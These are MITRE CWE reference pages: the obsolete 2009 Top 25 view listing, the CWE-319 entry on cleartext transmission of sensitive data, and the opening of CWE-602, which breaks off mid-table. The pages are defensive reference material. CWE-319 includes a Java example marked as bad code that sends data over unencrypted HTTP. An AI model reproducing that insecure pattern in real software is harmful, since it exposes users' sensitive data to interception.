CWE

Common Weakness Enumeration

A Community-Developed List of Software & Hardware Weakness Types

CWE Top 25 Most Dangerous Weaknesses
Home > CWE List > VIEW SLICE: CWE-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (4.5)  
ID

CWE VIEW: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors

View ID: 750
Type: Graph
Status: Obsolete
Downloads: Booklet | CSV | XML
+ Objective
CWE entries in this view (graph) are listed in the 2009 CWE/SANS Top 25 Programming Errors. This view is considered obsolete as a newer version of the Top 25 is available.
+ Audience
StakeholderDescription
Software DevelopersBy following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.
Product CustomersIf a software developer claims to be following the Top 25, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.
EducatorsEducators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.
+ Relationships
The following graph shows the tree-like relationships between weaknesses that exist at different levels of abstraction. At the highest level, categories and pillars exist to group weaknesses. Categories (which are not technically weaknesses) are special CWE entries used to group weaknesses that share a common characteristic. Pillars are weaknesses that are described in the most abstract fashion. Below these top-level entries are weaknesses are varying levels of abstraction. Classes are still very abstract, typically independent of any specific language or technology. Base level weaknesses are used to present a more specific type of weakness. A variant is a weakness that is described at a very low level of detail, typically limited to a specific language or technology. A chain is a set of weaknesses that must be reachable consecutively in order to produce an exploitable vulnerability. While a composite is a set of weaknesses that must all be present simultaneously in order to produce an exploitable vulnerability.
Show Details:
750 - Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2009 Top 25 - Insecure Interaction Between Components - (751)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 751 (2009 Top 25 - Insecure Interaction Between Components)
Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2009 CWE/SANS Top 25 Programming Errors.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Encoding or Escaping of Output - (116)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 751 (2009 Top 25 - Insecure Interaction Between Components) > 116 (Improper Encoding or Escaping of Output)
The software prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.Output SanitizationOutput ValidationOutput Encoding
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Input Validation - (20)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 751 (2009 Top 25 - Insecure Interaction Between Components) > 20 (Improper Input Validation)
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Generation of Error Message Containing Sensitive Information - (209)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 751 (2009 Top 25 - Insecure Interaction Between Components) > 209 (Generation of Error Message Containing Sensitive Information)
The software generates an error message that includes sensitive information about its environment, users, or associated data.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Cleartext Transmission of Sensitive Information - (319)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 751 (2009 Top 25 - Insecure Interaction Between Components) > 319 (Cleartext Transmission of Sensitive Information)
The software transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.
*CompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.Cross-Site Request Forgery (CSRF) - (352)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 751 (2009 Top 25 - Insecure Interaction Between Components) > 352 (Cross-Site Request Forgery (CSRF))
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.Session RidingCross Site Reference ForgeryXSRF
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') - (362)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 751 (2009 Top 25 - Insecure Interaction Between Components) > 362 (Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'))
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - (78)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 751 (2009 Top 25 - Insecure Interaction Between Components) > 78 (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'))
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.Shell injectionShell metacharacters
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - (79)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 751 (2009 Top 25 - Insecure Interaction Between Components) > 79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.XSSHTML InjectionCSS
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - (89)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 751 (2009 Top 25 - Insecure Interaction Between Components) > 89 (Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))
The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2009 Top 25 - Risky Resource Management - (752)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 752 (2009 Top 25 - Risky Resource Management)
Weaknesses in this category are listed in the "Risky Resource Management" section of the 2009 CWE/SANS Top 25 Programming Errors.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Restriction of Operations within the Bounds of a Memory Buffer - (119)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 752 (2009 Top 25 - Risky Resource Management) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer)
The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.Buffer Overflowbuffer overrunmemory safety
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Resource Shutdown or Release - (404)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 752 (2009 Top 25 - Risky Resource Management) > 404 (Improper Resource Shutdown or Release)
The program does not release or incorrectly releases a resource before it is made available for re-use.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Untrusted Search Path - (426)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 752 (2009 Top 25 - Risky Resource Management) > 426 (Untrusted Search Path)
The application searches for critical resources using an externally-supplied search path that can point to resources that are not under the application's direct control.Untrusted Path
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Download of Code Without Integrity Check - (494)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 752 (2009 Top 25 - Risky Resource Management) > 494 (Download of Code Without Integrity Check)
The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.External Control of Critical State Data - (642)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 752 (2009 Top 25 - Risky Resource Management) > 642 (External Control of Critical State Data)
The software stores security-critical state information about its users, or the software itself, in a location that is accessible to unauthorized actors.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Initialization - (665)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 752 (2009 Top 25 - Risky Resource Management) > 665 (Improper Initialization)
The software does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.
*PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.Incorrect Calculation - (682)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 752 (2009 Top 25 - Risky Resource Management) > 682 (Incorrect Calculation)
The software performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.External Control of File Name or Path - (73)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 752 (2009 Top 25 - Risky Resource Management) > 73 (External Control of File Name or Path)
The software allows user input to control or influence paths or file names that are used in filesystem operations.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Control of Generation of Code ('Code Injection') - (94)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 752 (2009 Top 25 - Risky Resource Management) > 94 (Improper Control of Generation of Code ('Code Injection'))
The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2009 Top 25 - Porous Defenses - (753)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 753 (2009 Top 25 - Porous Defenses)
Weaknesses in this category are listed in the "Porous Defenses" section of the 2009 CWE/SANS Top 25 Programming Errors.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Execution with Unnecessary Privileges - (250)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 753 (2009 Top 25 - Porous Defenses) > 250 (Execution with Unnecessary Privileges)
The software performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of Hard-coded Password - (259)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 753 (2009 Top 25 - Porous Defenses) > 259 (Use of Hard-coded Password)
The software contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Authorization - (285)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 753 (2009 Top 25 - Porous Defenses) > 285 (Improper Authorization)
The software does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.AuthZ
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Use of a Broken or Risky Cryptographic Algorithm - (327)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 753 (2009 Top 25 - Porous Defenses) > 327 (Use of a Broken or Risky Cryptographic Algorithm)
The use of a broken or risky cryptographic algorithm is an unnecessary risk that may result in the exposure of sensitive information.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Use of Insufficiently Random Values - (330)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 753 (2009 Top 25 - Porous Defenses) > 330 (Use of Insufficiently Random Values)
The software uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Client-Side Enforcement of Server-Side Security - (602)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 753 (2009 Top 25 - Porous Defenses) > 602 (Client-Side Enforcement of Server-Side Security)
The software is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Incorrect Permission Assignment for Critical Resource - (732)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 753 (2009 Top 25 - Porous Defenses) > 732 (Incorrect Permission Assignment for Critical Resource)
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Hard-coded Credentials - (798)
750 (Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors) > 753 (2009 Top 25 - Porous Defenses) > 798 (Use of Hard-coded Credentials)
The software contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.
+ References
[REF-615] "2009 CWE/SANS Top 25 Most Dangerous Programming Errors". 2009-01-12. <http://cwe.mitre.org/top25/archive/2009/2009_cwe_sans_top25.html>.
+ View Metrics
CWEs in this viewTotal CWEs
Weaknesses26out of 922
Categories3out of 316
Views0out of 44
Total29out of1282
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-01-12CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2017-11-08CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Description
2019-06-20CWE Content TeamMITRE
updated References
2020-02-24CWE Content TeamMITRE
updated View_Audience

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CWE-319: Cleartext Transmission of Sensitive Information

Weakness ID: 319
Abstraction: Base
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.
+ Extended Description
Many communication channels can be "sniffed" by attackers during data transmission. For example, network traffic can often be sniffed by any attacker who has access to a network interface. This significantly lowers the difficulty of exploitation by attackers.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.311Missing Encryption of Sensitive Data
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.5J2EE Misconfiguration: Data Transmission Without Encryption
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.199Information Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.311Missing Encryption of Sensitive Data
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Operation
System Configuration
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality

Technical Impact: Read Application Data; Modify Files or Directories

Anyone can read the information by gaining access to the channel being used for communication.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code attempts to establish a connection to a site to communicate sensitive information.

(bad code)
Example Language: Java 
try {
URL u = new URL("http://www.secret.example.org/");
HttpURLConnection hu = (HttpURLConnection) u.openConnection();
hu.setRequestMethod("PUT");
hu.connect();
OutputStream os = hu.getOutputStream();
hu.disconnect();
}
catch (IOException e) {

//...
}

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

+ Observed Examples
ReferenceDescription
Passwords transmitted in cleartext.
Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.
Product sends password hash in cleartext in violation of intended policy.
Remote management feature sends sensitive information including passwords in cleartext.
Backup routine sends password in cleartext in email.
Product transmits Blowfish encryption key in cleartext.
Printer sends configuration information, including administrative password, in cleartext.
Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
Product sends passwords in cleartext to a log server.
Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.
+ Potential Mitigations

Phase: Architecture and Design

Encrypt the data with a reliable encryption scheme before transmitting.

Phase: Implementation

When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Phase: Operation

Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.
+ Detection Methods

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.818OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.858The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.859The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.934OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1029OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1148SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPlaintext Transmission of Sensitive Information
The CERT Oracle Secure Coding Standard for Java (2011)SEC06-JDo not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
The CERT Oracle Secure Coding Standard for Java (2011)SER02-JSign then seal sensitive objects before sending them outside a trust boundary
Software Fault PatternsSFP23Exposed Data
+ References
[REF-271] OWASP. "Top 10 2007-Insecure Communications". 2007. <http://www.owasp.org/index.php/Top_10_2007-A9>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 22: Failing to Protect Network Traffic." Page 337. McGraw-Hill. 2010.
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Description, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-02-16CWE Content TeamMITRE
updated References
2010-04-05CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Time_of_Introduction
2010-06-21CWE Content TeamMITRE
updated Detection_Factors, Relationships
2010-12-13CWE Content TeamMITRE
updated Observed_Examples, Related_Attack_Patterns
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2013-02-21CWE Content TeamMITRE
updated Applicable_Platforms, References
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-01-23CWE Content TeamMITRE
updated Abstraction
2018-03-27CWE Content TeamMITRE
updated References, Relationships, Type
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships, Type
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Related_Attack_Patterns, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Plaintext Transmission of Sensitive Information

CWE-602: Client-Side Enforcement of Server-Side Security

Weakness ID: 602
Abstraction: Base
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.
+ Extended Description
When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.669Incorrect Resource Transfer Between Spheres
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.565Reliance on Cookies without Validation and Integrity Checking
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.603Use of Client-Side Authentication
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.290Authentication Bypass by Spoofing
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.300Channel Accessible by Non-Endpoint
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.836Use of Password Hash Instead of Password for Authentication
